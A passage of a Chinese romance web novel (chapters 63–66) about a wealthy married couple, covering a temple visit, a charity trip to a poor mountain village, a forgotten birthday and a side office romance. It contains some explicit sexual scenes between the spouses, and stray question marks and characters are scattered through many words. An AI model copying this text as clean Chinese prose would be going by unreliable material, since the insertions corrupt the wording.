背地里却把薄慎骂了个狗血淋头。 这人明显是要掐着要害拿捏她, 卑鄙无耻,阴险狡诈。 “你?说他是不是觉得我这个千金大小姐超级大美?女给?他呼来喝去他特别有面儿?”祁书艾抬手欣赏着新做的法式美?甲,“庸俗狗男人,祝他早日破产流落街头。” 南惜提醒她:“那你?一会儿记得跟菩萨讲清楚,想要他怎么破产,不然雍和宫已读乱回的,小心让薄慎入赘到你?家。” 祁书艾愣了一秒:“……艹。” 那不是本世纪最?最?最?可?怕的恐怖片! “资金链断裂?业务暴雷?我咒他被车撞死是不是太?恶毒了点儿?犯不上……而且说不定?会折我寿。”排着队,祁书艾拍脑袋苦思冥想,“法律纠纷也行,到时?候本小姐亲自把法院传票pia他脸上。” 她一脸认真地望向南惜:“我觉得这个完全有可?能,他们做投资的一天天跟钱打交道,尤其?是薄慎这种大老板,他绝对吞过黑心钱!” 南惜面色复杂:“倒不是……没有这个可?能。” 在?雍和门殿的弥勒像前?,祁书艾跪了整整五分钟,虔诚得一点都不像在?诅咒一个黑心老板。 南惜去雍和宫殿替祁景之和池靳予拜了拜,祝集团一切顺利,生意兴隆,全家人财运亨通。 拜完一圈去逛文创,祁书艾给?自己请了串粉水晶手链,招桃花;一串金发晶招财。 南惜请的是菩提。 后来看?着橱窗里的黑曜石,觉得很适合池靳予。虽然他手上除了手表,什么都没戴过。 拿回去供着也行吧,她想。 于是也请了一串,和自己的菩提手串凑一对。 隔天,池靳予万年长?草的微信朋友圈,发了一张男人左手戴着黑曜石手串的照片,配文:【夫人送的。】 薄慎正好在?公司刷到,抬头,发现自家助理手上戴的粉色手串,不知为何,突然间后背一凉,好像一阵阴风刮过。 * 炎夏不知不觉到了尾声,中秋节前?晚,薄慎拿着他爸妈千叮万嘱的两大盒月饼,到和府街串门。 崔姨在?厨房做饭。 池靳予和薄慎聊事情,南惜抱着电脑在?旁边看?基金会资料。 施明琅公司目前?主要运营的是一家慈善基金会,晚宴和活动筹集的资金也都是通过基金会分拨到各地,建希望学校,组织志愿者?活动。 “听说尊夫人要去施小姐那儿工作了?你?可?得看?紧。”薄慎开玩笑道。 南惜抽空白他一眼。 混熟了,如今她对薄慎也不客气,再加上多多少少护着自己姐妹,带了泄私愤的意味。 池靳予宠溺地看?了眼老婆气鼓鼓的模样,轻描淡写地戳他肺管子:“听说最?近不少人想挖你?的助理,你?也看?紧。” 祁书艾虽然故意装蠢,业务能力?不行,但就冲这张脸,不少大老板都想占为己有。 笨点也好,听话,带出去谈生意,一招美人计可比几个男人喝坏肠子管用。 那些人的龌龊心思,薄慎心知肚明,哪怕被祁书艾骂死也不会放她走,否则她那么蠢,真被人卖了还帮人数钱。 有时?候他觉得自己像有病,管她一个四体不勤五谷不分的小蠢丫头怎样,自己又不是她爹,可真要放任她犯蠢,又做不到。 是她爹把她托付到自己手上的,出了事自己得担责,他如此想,便理所应当了。 后来吃着晚餐,薄慎突然接了通电话,着急忙慌就要走。 池靳予问他:“怎么了?” 薄慎起?身掏车钥匙:“老姚活得不耐烦了,带她去应酬。” “应酬就应酬,多大事儿?”池靳予失笑,“人是你?助理不是你?闺女。” “和王启功那帮孙子。”说完,他头也不回地离开。 那人关门的声音都透着焦急,南惜转过去问池靳予:“王启功是谁?” “远盛陶瓷的老板。”池靳予一边给?她剔鱼刺,一边解释,“好色,酒局上经常欺负小姑娘。” “……”南惜差点憋不住学了祁书艾的口头禅,艹一声。 “我看?薄慎挺紧张她的。”池靳予安抚地笑了笑,“没事,别担心。” 南惜点点头:“嗯。” 薄慎这人表面不着调,但大事靠得住。 明天中秋,照例得回趟池家老宅,池靳予念着上次的事儿,跟她说:“如果你?不想回,我打个电话说一声。” “没事儿。”南惜漫不经心地抿着桂花燕麦奶,“池昭明出来了吧?” 最?后给?的判决是拘留十天。 池靳予:“出来了,最?近被爸关在?家反省,不让出门。” 南惜:“那我正好去落井下石,看?看?他的倒霉样。” “好。”见她这么轻松,池靳予放了心,“那吃顿午饭,就陪你?回龙湖。” “嗯嗯。” 晚上,池靳予亲手做明天要带去龙湖送给?岳父岳母的月饼和点心。 南惜一边看?,一边跟着他学,但同样步骤做出来,经他的手是视觉享受,经她的,就是视觉杀手。 “我真的没有天赋。”南惜丢掉惨不忍睹的面团,自暴自弃,“我这辈子都不适合进厨房。” 池靳予笑了笑,手里一只小锦鲤成?型,递给?她,用指尖面粉点点她鼻头:“仙女远庖厨,你?不用进厨房。” “噗嗤——”南惜憋不住笑,“嘴这么甜?” “一直很甜,你?不是最?清楚吗?”男人意有所指地望着她。 南惜脸颊微微热,嗔他一眼:“不要油嘴滑舌,快做啦。” “好。”他还要留着时?间,和她一起?做点儿别的,确实不能再磨蹭。 太?晚了,她又娇声娇气的埋怨,怪他不许她睡好觉。 明明勾得人停不下来的也是她。 * 南惜最?终还是没看?到池昭明的倒霉熊样,他压根就没下楼吃饭。 失望的南惜安慰自己,至少她的眼睛没有被污染。 离开胡同的时?候,她从后视镜看?那扇古朴的院门越变越小,最?后消失在?视野中,突然又有点心疼身边的人。 池苍山年轻时?忙着开拓商业版图,唐意也不是那种对子女无私奉献的传统母亲。 再后来,父母离婚,他留在?池家,看?着父亲转眼娶新人,生弟弟。 他似乎从来没被一个完整的家庭爱护过,被人捧在?心尖上疼过。 他甚至,没有拥有过属于自己的家。 所以他对池家冷漠,除了恪守规矩,该秉持的尊敬和该负的责任,再没有多余感情。 晚上在?龙湖的露台上赏月,池靳予给?唐意打电话,祝她中秋快乐。她这个月在?冰岛旅游。 唐意对儿子依旧是不冷不热的态度,偶尔毒舌两句,对南惜倒是和和气气亲亲热热,说等回北京,叫她去店里尝新品。 南惜不太?明白池靳予对他妈妈这种哪怕精神受虐也要纵容的态度,和对池苍山截然相反。 虽然唐意也不是完全不关心儿子,看?似嫌弃的言语间,也嘱咐他不要太?拼命工作。 后来他在?躺椅上搂着她的肩,说:“那会儿我在?国外治病,我爸只负责给?钱,依旧老婆孩子热炕头,是我妈放弃一切过去陪我,四处求医,没日没夜地照顾我。” “如果没有我妈,我活不到现在?。” “对我,她大概又爱又恨吧。我是她儿子,但同时?也是池家人,这辈子也挣不掉这个枷锁。”池靳予笑了笑,眼底温暖流淌,“她不是冷情,只是不想让我知道她心软。” 南惜靠在?他肩膀上,仰头看?男人半明半昧的侧脸。月光冷白色调,洒在?地面上凉意如水,却遮不住他眼底的温暖。 池靳予察觉她目光,笑着低头,暖意悉数落进她眼瞳:“月色这么美?,不看??” 南惜抬手捧住他脸,像他对她做过无数次那样,唇瓣轻轻地贴在?他额头,说:“没你?好看?。” 第64章 第 64 章 过完中秋, 南惜正式入职。 施明?琅出差不?在国内,叫一个财务部员工来迎接她。 “南总,这里是您的办公室。”叫娄茵的小姑娘领她到一扇磨砂玻璃门前, “按施总的要求, 全都帮您准备好了,您有需要随时叫我。” “好的。” 南惜推门进去, 环视一周,大约二十平米的办公室,南面是满墙落地窗,窗前立着一盆茂盛的发财树。 虽然比起她平时的居住环境略显逼仄,但作 为办公室, 已经?很大方了。 桌椅电脑齐全,款式颜色也符合她审美,里面有独立卫生间和一个小衣帽间,兼顾化妆间。 茶水台上,各种咖啡应有尽有, 还配了两台咖啡机,一台手磨, 一台胶囊。 她不?常喝茶,但桌上也备了套紫砂壶茶具, 应该是给她会客用。 南惜心想,如果有朝一日她真在这儿会客, 岂不?是还得?学?沏茶? 她不?会沏茶。 改天得?要池靳予教教她,顺便?找他讹一些好香来。 喝茶聊天是要配香的, 不?知不?觉, 她变得?和某人一样讲究。 * 南惜刚来两天,公司和基金会运营该了解的都了解了, 离财务核算日期还早,无所事事。 虽然施明?琅说?不?需要坐班,但她在家也闲,宁愿来公司待着,喝喝咖啡,赏赏景,看看工区里忙碌的大家,享受这种青春蓬勃的氛围。 院子里有一群穿着红马甲,在一辆皮卡车后面搬货物的年?轻人,南惜下楼遛弯正好经?过。 她有点好奇,站在旁边看了会儿,其中那个像大姐大一样指挥人干活的短头?发女孩望着她问:“你是新?来的?” 南惜愣了下。 想她入职不?到一星期,算新?来的,点点头?:“是。” “那别呆着啊,过来帮忙。”大姐大拍拍面前的箱子,示意她搬,可又多瞅了眼南惜细胳膊细腿的样,改为把手里的本?子和笔递给她,“算了,你负责登记。” 她过去搬。 南惜接住本?子,低头?看里面的登记内容。 是一些少儿书本?,练习册,文具,小码运动鞋,棉鞋,保暖衣裤,还有卫生巾等等。 她问了一句:“这些是?” “明?天要送到山区的物资。”大姐大把一箱子重物扔到皮卡上,看样子毫不?费力?,“这箱是保暖衣。” “哦。”南惜在“保暖衣”后面画了笔正字。 等所有东西都搬上车,大姐大拿回本?子检查了一下,点点头?,又对她说?:“明?天早上八点在首都机场集合,别迟到啊。” 这是把她当成新?来的志愿者了。 南惜没在意,反而觉得?挺有意思,笑了下:“好,还有要注意的吗?” “记得?带行李,去三天。”大姐大说?,“那边冷,带厚一点的秋装。” “对了,加我微信把身份证发我,帮你订票。” 南惜加了她微信,然后把姓名和身份证号发过去。 大姐大粘贴完信息,抬头?问她:“哪个学?校的?” 毕业回国到现在,南惜很久没被问过学?校,一时间有点错愕。 但很快回过神来,报了祁书艾的学?校:“人民大学?。” “哟,高材生啊。”大姐大笑了笑,“我叫陈悦可,林业大学?研二,跟你同年?。” “幸会。”南惜笑着给她改了备注。 当晚,她告诉池靳予明?天要出差,去三天。 男人明?显不?太满意:“施明?琅什么意思?刚入职就安排你出差?” “不?是她安排。”南惜勾着他脖子一脸认真,“是我自己想去做一下……市场调研。” 如果说?是要跟一帮大学?生去做志愿者,池靳予八成会觉得?她闲疯了。 事实?上她的确闲疯了。所以当陈悦可把她堂堂一个CFO错当成志愿者,要领她去山区送物资时,她将?错就错,欣然前往。 但除此之外,也有别的原因。 她从小不?知疾苦,只在电视和网上见过这个世界上还有连生存都困难的人。 她想亲眼去看看。 * 第二天早上,池靳予开车送她去机场。 南惜嫌库里南太高调,怕遇到同行的志愿者,说?不?清,他借了余沭阳的宝马X3。 “在你手下干活这么赚钱吗?”她万万没想到,余沭阳一个助理,竟然能在北京开上小宝马。 “他年?薪六十万。”池靳予一边开车一边淡淡地说?,“偶尔还会有奖金。” 南惜沉默了。 以前她不?理解余沭阳怎么就对池靳予言听计从,随时任他呼来喝去,不?管多晚一通电话都能出现。 合着人年?薪六十万,比薄慎开给祁书艾的多整整一倍。 遇到池靳予,的确是余沭阳一大幸事。 作为小城市出身的男孩,能在二十五六的年纪拿到几十万年?薪,老?板还帮忙搞定?了北京户口,小宝马开着,明?年?也准备买房,人生算是开了挂了。 车开到航站楼入口,南惜远远看见陈悦可和十多个年?轻人,告诉池靳予靠那边停。 陈悦可也从车窗看见她,挥手打招呼,南惜兴奋地解开安全带。 还没下车,忽然被叫住:“等等。” “嗯?”南惜转过头去。 从驾驶座倾身过来的男人,扶着她脑袋衔住她唇。 清早风凉,他的唇无比火热,碾得?她身体?阵阵升温。南惜想起车窗开着,外面那些人看着,难为情:“你干嘛……” “三天见不?着你。”男人蹭着她鼻尖,呼吸厮磨,“昨晚也不?让我碰,亲一下怎么了?” 因为要早起,还要检查一遍行李,昨晚她说?什么也没同意他来。 涉及工作,池靳予尊重她。 但他这人不?喜欢吃亏,唯独对她破例,怎么也得?讨回来一些。 亲了一会,他贴着她的唇哑声低语:“老?婆,你是不?是忘了什么?” 鼻息间全是他的温度,南惜脑子发懵:“什么?” 男人轻叹一声:“……算了。” 然后更猛更热烈地亲下来,仿佛发泄着某种情绪。像不?舍,更像是不?甘心。 掐着时间点快到,池靳予才放她下车,帮她拿行李。 宝马驶离航站楼,一群人也推着各自行李进去,南惜被围在中间,成了八卦中心。 “刚才那个是你男朋友吗?好帅。” “嗯……”南惜心虚点头?。 说?是老?公,怕吓到这群学?生。 但男朋友这个词,突然被她品出异样的味道来。 他们现在……像谈恋爱吗? * 和这帮学?生,南惜人生头?一回体?验经?济舱。 现在的机票常常比高铁便?宜,乘坐感也比高铁差得?多,某些航司的经?济舱拥挤得?放不?开腿。 终于熬了两个多小时,飞机落地,她站起来一边活动着快要僵掉的腿,一边回施明?琅消息:【怎么样大小姐?经?济舱爽吗?】 她安排自己出差这事儿,还是知会了老?板一声。施明?琅同意她去,只提醒她志愿活动经?费一向不?多,所以条件艰苦,另外嘱咐她注意安全,万一出什么事儿,怕池靳予和她拼命。 果不?其然,路途艰苦。 “一看你就是家里条件挺好的姑娘,没吃过什么苦。”陈悦可边拿行李边笑了笑,“没办法,我们经?费有限,为了尽量缩减开支,只能坐小公司的航班。” “没事儿,习惯就好了。”金山银堆里供着长大的公主,头?一回对这种“恶劣”条件欣然妥协。 陈悦可帮她把登机箱拿下来,南惜说?谢谢,跟着她挤在人群中下飞机,过栈桥。 以往坐头?等舱商务舱,她都有专属通道,专属接驳车送到VIP停车场,根本?不?会和这些人打照面。 原来从经?济舱下飞机的人,脸色都这样疲惫。 又倒了两个多小时大巴,一行人才到达目的地。 天已经?黑了,这里的夜晚比龙湖山庄的后山还要黑,没有路灯。 前面的房子是招待所,门口亮着一盏昏黄墙灯,是那种古老?的白?炽灯泡,上面还绕着蜘蛛网。 南惜抬头?一看,没忍住惊叫。 幸好有个和她一样第一次来的女生,她的反应才不?算突兀。 两个同时被吓到的姑娘抱住彼此,都是满胳膊鸡皮疙瘩。 陈悦可回头?笑了笑,面露无奈:“没事儿,别怕,房间是干净的。” 登记完,她带他们上去。 南惜和陈悦可住一间。 招待所虽然装修朴素,陈设过于简单,只有两张床和一个电视柜,进门墙上钉了排挂钩挂衣服,但地面砖擦得?发亮,窗明?几净,没什么异味,只有一股淡淡的樟脑香味。 这种气味现在少闻了,但小时候外婆的衣柜里总有,那会儿她觉得?刺鼻,可现在闻到,给她一种久违的安心。 也是这股熟悉的樟脑香,让她在陌生的地方安稳睡过第一夜。 * 翌日起得?很早,南惜跟着陈悦可他们拜访村里的贫困家庭,送保暖衣裤,棉鞋,家里有孩子的送书本?练习册和文具,有女孩的,会送一大箱卫生巾,和一些生理知识科普读物。 后来去基金会创办的希望小学?,和校长了解办学?情况,村里的升学?率,晚上在学?校食堂吃了顿饭,也顺便?了解学?生们平日的伙食状况。 陈悦可说?,施总平日最上心的就是希望学?校和山村女孩的教育。她不?希望下一代山里出生的女孩们依然被困在山里,这辈子都只能成为某某的妻子和母亲。 一个人无法选择出身,但可以选择去处。 她要给她们选择的权利。 晚上,南惜躺在盈满樟脑气味的招待所房间里,有点失眠。 胸口一阵阵无法平复的激荡,白?天见到的许多画面都在脑海中挥之不?去。 颠簸的沙土路,黄泥盖的房子,屋内墙面都抹不?平,没有地板和砖,没有吊顶,破掉的瓦缝里能看到天空,也一定?遮不?住雨。 一岁多的小孩在土地上爬,妈妈忙着干农活,没空去管。 有一户,家里五个人三个精神病,孩子七岁,因为这个病没法去上学?,身上衣服都包了浆。 以前她只会觉得?这样的画面脏乱,可现在她好像隐隐明?白?,施明?琅为什么要做那些事。 要为这些素昧平生,也许一辈子都不?会有所交集的人,去奔波努力?。 隔壁陈悦可已经?睡了,南惜静音的手机震了震,收到池靳予消息:【睡了吗?】 沉重的思绪被短暂抽离,看见他名字的那刻,整个人轻松明?朗了些:【没~】 老?公:【在干什么?】 南惜:【躺着,想事情。】 老?公:【想什么?】 南惜笑了笑:【想拯救世界。】 老?公:【看来出差很开心。】 【但你是不?是忘了什么?】 脑袋一阵嗡嗡,记得?送她去机场那天,他也在车上问过同样的问题。 当时她没想起来,现在依然没头?绪。 池靳予似乎料到结局,也不?指望她的榆木脑袋瓜能灵光一闪。 消息发过来,每一个字都透着无奈: 【我的生日,老?婆。】 南惜整个人被定?住几秒,火速去看日历,甚至心存侥幸地从相册里翻到结婚证,确认了一模一样的日期。 脑袋里瞬间有什么炸开。 她忘了池靳予的生日! 她竟然就这么忘了! 南惜欲哭无泪,惊慌失措,打字的手在颤抖:【对不?起对不?起……】 【老?公我错了qaq】 【对不?起qaq】 【呜呜呜qaq】 她甚至用上委屈巴巴的颜文字,在线卑微求原谅。 老?公:【没关系。】 【马上零点了,老?婆。】 零点和他说?一句生日快乐,然后再发一个大红包,应该够诚意了? 出差也是没办法的事,上次她生日他也出差,不?过赶在最后一刻回去了。 她没有办法,明?天肯定?回不?去。 时间一秒秒地过,南惜死死盯着手机上的23:59,在它跳跃成00:00的那秒,给他发过去一句:【生日快乐。】 微信红包最高200,太寒碜。她转到网银app,给他银行卡转了1314520。 然后邀功似的:【老?公~收到没?】 老?公:【嗯,收到了。】 【1314520。】 看着框里那排数字,南惜莫名脸一热。 转账时她没感觉,可被他这么发过来,总觉得?有股别样的暧昧。 老?公:【礼物我等你回来要。】 南惜:【好!】 后面还跟了个猫咪wink的表情。 不?愧是她老?公,善解人意好说?话,回去她高低得?补个全世界独一无二的限量版礼物。 紧接着,一道长消息闪了她眼睛:【出差一天欠我两次,六次,生日失约翻倍,十二次。】 南惜脑子像被雷劈:【??】 【什么?】 【不?是】 【这个我们得?商量一下……】 老?公:【老?婆刚才不?是答应了?】 南惜:【我什么时候答应了?】 老?公:【你说?好。】 第65章 第 65 章 为了省经费, 回北京坐的是凌晨航班。 施明琅派公司的车来接机,南惜就?没有特意告诉池靳予,省得他?大半夜跑一趟。 正是犯困的点, 南惜在飞机上昏昏沉沉, 座位不舒服又睡不着,煎熬两个小时?, 直到落地。 解除飞行模式,迟迟收不到网络信号,周围的人已经在打电话。 每到这种时?候她就?很想换掉苹果手机。 陈悦可再次帮她把行李拿下来。 南惜太瘦,加之她虽然有意穿着低调,但从小浸润的气质就?与普通人不同, 在旁人眼里?是个十指不沾阳春水的千金大小姐无疑。 大家都愿意照顾美女,况且她脾气好,没架子?,直率又礼貌的讨人喜欢,这一路但凡力气活, 谁都没让她干过。 南惜不爱占人便宜,便也包揽了别的事, 帮大家跑跑腿,办值机, 买奶茶。 她的手机一直到航站楼出口才有信号。 池靳予消息先闪了进来:【下飞机没?】 紧接着是施明琅:【池总问我你什么时?候回,我告诉他?了, 他?说他?亲自来接你。】 南惜先回了池靳予,再回施明琅。 老?公:【在哪儿?共享位置。】 南惜刚要把出口编号发给他?。 老?公:【看到你了。】 她抬起头, 只?见凌晨两点半的航站楼外, 冷风萧萧的大理石立柱旁,一身黑色风衣的男人顶着亮如白昼的灯光, 勾唇望着她。 他?的眼比灯光还要亮,比远处的夜色还要浓郁。 “大清早送,大半夜来接,你这男朋友真是……绝。”陈悦可感叹一句,拍拍她肩膀,“我们?走喽。” 南惜笑了笑,朝大家挥手:“嗯,拜拜。” 同伴们?上了公司的大巴车,南惜走向柱子?边长?身玉立的男人。 他?同时?上前,一只?手接过她行李箱,另一只?手牵过她的手。 “男朋友?”他?揉着她的手指,垂眼轻笑。 感觉他?没生气,南惜也笑出声:“嗯哼。” 池靳予将她的手放到唇边,亲了亲:“走吧,女朋友。” 他?喜欢这个称呼。 从毫无关系到未婚夫,再到老?公,他?唯一缺席的就?是男朋友。 而现?在阴差阳错,用一句玩笑话,弥补了他?最大的遗憾。 上车后,南惜收到施明琅的后续消息:【对了,过两天?公司高管资料更新?,我就?不帮你隐瞒身份了啊。】 【这帮学生都没什么花花肠子?。】 南惜笑了笑:【没事儿。】 她也不是故意瞒人家。 赶飞机熬的夜,上车后不久被补起来。 南惜闭上眼呼呼大睡。 凌晨三点的京城,寂静的街道,偶有一两辆车从旁边疾驰而过。 池靳予开得很慢很慢。 到家也没有叫醒她,把人从副驾驶直接抱进了卧室。 梦中感觉到熟悉的环境,南惜这一觉睡得十分香甜。 翌日,久违的在一片温暖中醒过来。 出差那些天?山里?气温低,又没人暖被窝,醒来时?都是手脚冰凉。 南惜下意识往人怀里?蹭:“老?公……” “嗯。”手臂搂紧她背,拍了拍,“我在。” 长?途跋涉的后遗症,她格外困乏,身体醒了,思绪还处于半飘忽状态,脑子?里?闪过什么就?说什么:“好想你。” 男人眸色转深,略微的迟钝过后,呼吸深深埋入她发间:“我也好想你。” 他?不知?道自己?是怎么熬过来的,平时?习惯了回家就?能见到她,即便她在外面玩,他?也可以开车去见她。 习惯了每晚的亲密,习惯了每次睡觉和醒过来,怀里?都有她。 这几晚怀里?空荡荡,心脏都像被掏走一块,他?只?能点着助眠的药香入睡。 但她一句“好想你”,又觉得自己?受过的一切煎熬都值了。 昏昏沉沉中,她被他?亲到彻底醒过来。 两人连位置都没有挪动,侧躺着,面对面,他?从枕头边捞过来一只?,戴上。 顾不上什么姿势,只?是把碍事的都扯开,布料掀到一边,腿搭在腿上,早已预热的,埋入另一片温热水源。 清晨的蚕丝被上,阳光似水波粼粼般闪动,由慢到快,由平缓到激荡。 南惜以为就?像以往那样,早晨他?只?是解决正常的生理波动,不会太胡来。 可当他?拆开第二只?包装,并翻身覆到她上面,南惜察觉到不妙:“你干嘛……” “答应我的生日礼物。”呼吸滚烫,像火苗一样四处流窜,“刚才只?是利息,该还本?金了,老?婆。” 十二次。 想到他?的话她头皮发麻,在一片晃悠悠的节奏中,抓着他?肩膀,可怜巴巴:“老?公……” “嗯?”好像知道她意图,他?提前惩罚她。 南惜咬住他肩膀高高低低地叫了一阵,等淋漓的暴雨变回小雨,才能继续出声:“……我分期还,行不行?” 千万翡翠也要付全款的公主殿下,人生头一回,卑微地和人谈分期。 伤害不大,侮辱性极强。 她深刻体验到了那些买部手机几千块也要分二十四期的人内心的绝望。 “好。”他?抱着她坐起来,蚕丝被终于掀开,交叠的暴露在空气中。 他?把她按紧一些,凑到她耳边:“日利率20%,你分几天??” 南惜哭着捶他?:“没有免息的吗?” 男人向后躺到柔软的被子?上,将她按倒在胸口:“我是商人,免息没有额外利润,我不干这种蠢事。” “土匪……啊……” “池靳予,你坏蛋。” 嘴上不答应分期,可见她真不行了,池靳予也没有再欺负她。 抱去浴室洗澡,再抱下楼吃饭。 南惜还没到不能走路的程度,故意撒娇说浑身都疼,好让他?怜香惜玉,心软一些。 她的小心思池靳予哪能不知?道,但愿意惯着她,宠着她。 连饭都喂到嘴里?。 “还去吗?”他?一边帮她剥着山竹,一边问。 南惜不假思索地点头:“当然要去。” 池靳予笑了一声:“施明琅请你倒请得划算,一份工资打两份工。” 顿了顿,意味深长?地看过来:“工资也给那么低。” “你以为都是你呀?”南惜戳了他?胳膊一下,“明琅姐这是慈善基金会,有多的钱都要紧着捐款,你这个唯利是图的商人,不要抹杀我们?的崇高理想。” “是。”男人沾了山竹汁的手指点点她鼻头,“我赚钱,你散财,正好帮我积德了。” “……讨厌。”南惜抬手抹鼻子?。 “下次出门之前,记得把欠我的都还清。”池靳予把剥下的山竹果肉装盘,漫不经心地说。 南惜脑袋里?一嗡嗡,气不过踹他?一脚:“你就?只?想着那种事儿。” 他?笑着喂一块进她嘴里?:“想和自己?老?婆干那种事儿,不违法不丢人。” “但你不觉得自己?有点过分了吗?”南惜一脸认真,嚼着山竹,脸颊被塞得鼓起来,“我们?好好商量一下频率和次数。” 池靳予:“每天?两次,我已经很照顾你了。如果你锻炼锻炼,提高体力,也可以试试三次。” “我觉得不需要每天?……” “我需要。” “那可以用手……”南惜冲他?眨眨眼,“脚也行。” 每次她来大姨妈的时?候,用手他?表情也很爽。那次伤到膝盖第一次用脚,他?似乎也挺喜欢。 池靳予若有所思地望着她,伸出手。 南惜把果核吐到他?掌心。 “如果不是迫不得已,我只?想和你做。”他?把果核捏在手里?把玩,“惜惜,我是个正常男人。” “……老?公,你可能不是很正常。”南惜不怕死地直言,“别人几分钟结束,你最少要半个小时?,还有别人几厘米,你那么大,别人一周两三次,你天?天?要。” 池靳予起初又气又笑,但看着她认真鼓起的脸颊像河豚一样可爱,只?剩下笑:“别人?你还知?道谁?” 南惜:“网上的。” “哦。”池靳予稍稍点头,“就?是你那会儿搜我太大了怎么办的那个网上?” “……那叫小x书。”南惜轻轻踹了他?一脚,“偷看我手机,不要脸。” 他?再次强调:“不是偷看,是意外,偶然。” “强词夺理。” 池靳予擦干净手,再握住她,一边扣紧一边勾起唇。 “别人我不知?道,也没兴趣知?道,但我和我的妻子?很合拍,生活很幸福,你应该也不会喜欢几分钟几厘米一周两三次的男人。至于你的提议,我接受,工作?日每天?一次,周末还是给我加码的权利,可以吗?” 他?观察她表情,亲亲她手背:“老?婆,你不能太饿着我。” 南惜被他?诚恳的语气和目光冲击得心软成一片。 这已经是双方折中的结果,她勉强妥协:“好吧。” 南惜做梦都想不到,有朝一日要为这种事谈判。 * 基金会的视频号由那群大学生运营,偶尔会发布些官方消息,施明琅投了不少钱做推广,但没有起色。 粉丝量卡在一千多,视频也没出过一条爆款。 陈悦可最近忙着论文,南惜暂时?接手过来。 正好祁书艾有经验,虽然是法律方向,但对于平台的运行方式和流量密码很熟悉。两人打视频讲了一下午,南惜一边录屏,一边挑紧要的记在小本?本?上。 “大小姐,你还真开始认真工作?了啊。”祁书艾望着她,生无可恋地摇摇头,“我就?不行了,上班如上坟,每天?像个活死人。” 南惜转着笔朝她笑:“那怎么不离职,是不想吗?” 祁书艾扯唇:“你还问。” 南惜秒懂,定是薄慎吃准了她被掌控着经济命脉,囊中羞涩,又拿项目奖金当诱饵。 啧了声,学着祁书艾之前向她吐槽的话:“阴险狡诈的狗男人。” 祁书艾目光却忽然晃动了一下,没接腔。 南惜看过去,发现?她躲闪似的低下头,语气若无其事地,手摸着耳朵:“其实他?这人,还行。” 第66章 第 66 章 这可?是破天荒头一回?, 祁书?艾没破口大骂薄慎,还说他好话。 南惜来了兴趣:“怎么回?事儿?喝错汤了?迷魂汤?” “滚。”祁书?艾笑?骂一声,表情正经起来, “其实?他挺照顾我的, 项目奖金的确给了,我什么都不懂, 他还带我做。我学?不会,他就一直教。那天跟姚副总出?去应酬,遇到一个老色鬼,他……” 南惜还不知道那件事后续,只听池靳予说解决了, 祁书?艾没出?事,也就没多问。 今天祁书?艾主动提起,她耳朵瞬间竖起来:“他怎么?” “就,我不小心让那个老色鬼搭了一下腿,他把人手拧骨折了, 生意当?然也谈不了了。董事会要他道歉,他不干, 当?着所有董事和?高管的面儿说,如果哪天他手下的项目需要女员工牺牲色相, 他自觉滚蛋。还说不服憋着,有本?事叫董事长把他开了, 谁敢开他呀,太子爷。当?天他还把姚副总开走了。” 祁书?艾说着, 双手捧住腮, “他们说薄总在这儿干这么多年,从来都是凭本?事说话, 不耍少爷架子,这还是第一次拿身份压人。” 南惜越品越觉得有猫腻,这护犊子的劲儿怎么都不像老板对员工,倒像是…… 她若有所思地开口:“艾艾,薄慎该不会看上你?了吧?” “……呸呸呸,别瞎咒我!”祁书?艾整个人一激灵,“我说他人还行只是人还行,谁要跟他搞男女关系啊?都快三十了,和?我差着辈儿呢。我还当?那些?传闻是真,能跟他见识见识大老板的花花世界,结果丫出?去应酬都是素的!我好失望!而且他还真的没女朋友,你?敢信他是个正常男人?三十岁还打光棍!八成不行。” 南惜想起池靳予,“噗嗤”一笑?:“他俩还真是对儿好兄弟。” 不过?有池靳予做参照,薄慎他未必不行。 也有可?能,出?乎意料非常行。 南惜说给她听,祁书?艾红着脸对着屏幕张牙舞爪:“变态!” 南惜:“你?脸红什么红?” “我不想和?已婚妇女说话。”祁书?艾瞪她,“你?被?你?老公带坏了。” “是吗?”南惜笑?。 跟池靳予那个坏东西比,她这才哪到哪? 今晚祁书?艾要直播,两人约了明天去spa会所,全套护理加美甲。 正好她明晚要跟池靳予去参加一个朋友孩子的满月宴。 结婚前,南惜没参加过?孩子的满月宴,这种?邀请一般都是父母去。她特别问池靳予有没有什么要注意。 “你?只管漂漂亮亮的。”男人挑开她睡袍衣领,“人多,别牵错老公就行。” “……”南惜嗔他一眼,还是乖乖地环住他腰,迎合上去,“我明天要穿裙子的。” “好。”呼吸掠过?她脖颈和?锁骨,往下。 被?裙子遮挡的地方,他每一寸都没放过?。 * 翌日,南惜和?祁书?艾美美享受大半天,全身皮肤喝饱了水,筋骨也放松,上次只涂了颜色的指甲再次被?镶上天然钻石。 因为有晚宴,她顺便?做了个发型。 五点多,池靳予来会所接她。 南惜转过?头问祁书?艾:“你?怎么回?去?要不要送?” 祁书?艾的车机系统出?了点小问题,放在4S店检查,今天两人都是打车过?来。 “没事啦,不用管我。”祁书?艾摆摆手,突然看见从门口进来的薄慎,一句“卧槽”到嘴边又被?压下去:“你?怎么来了?” 薄慎把车钥匙抛给池靳予,转头看向她,一脸惊讶:“哟,我正想抓个司机。” “……”祁书?艾嘴角一抽,“薄总,今天周末。” “周末你?老板不也有应酬吗,我说什么了我。”薄慎抬手看了看表,“算你?加班费,行么?” 南惜憋着笑?,清了清嗓子,挽着自家老公的胳膊朝他俩笑?:“您二位慢慢商量,我们走了。” 池靳予也朝他们点了点头,转身离开。 “薄总,我还没吃饭。”祁书?艾一脸严肃。 每次给他当?司机都吃不饱饭,一群大老板觥筹交错的,她哪好意思埋头扒饭。 她简直恨不得去喝酒,可?薄慎不让她喝酒。 男人下巴朝前扬了扬。 祁书?艾看了眼那边的必胜客:“干嘛?” “去买点儿带着。”男人好整以暇望着她,“我报销。” “……”抠门劲,就报销一顿必胜客。 “签完合同请你吃大餐。”某人好像听见她腹诽,补了一句。 祁书?艾没给他省钱,选了最贵的套餐,发泄大周末被老板压榨的愤怒。 边往出走边问他:“车呢?” “在公司,回?去开。”他坐池靳予的车来的。 祁书?艾一阵无?语:“……神经。” 男人挑眉:“说什么?” 人在屋檐下,祁书?艾认怂赔笑?:“没什么,听老板的话。” 女孩走在前面,连后脑勺都能看出?是骂他。 薄慎望着她气鼓鼓加快脚步的背影,弯起唇,闷笑?。 * 池靳予不爱参加各种?宴席,更别提小孩的满月宴,和?他的气质风格就很不搭。 突然要带她来,南惜还挺意外。 今天是温家老二的满月宴,老大是女儿,听说长辈不满意,想要个儿子继承家业,于是紧锣密鼓又生了第二个,名?副其实?的三年抱俩。 第二胎是儿子,满月宴办得奢靡豪华。 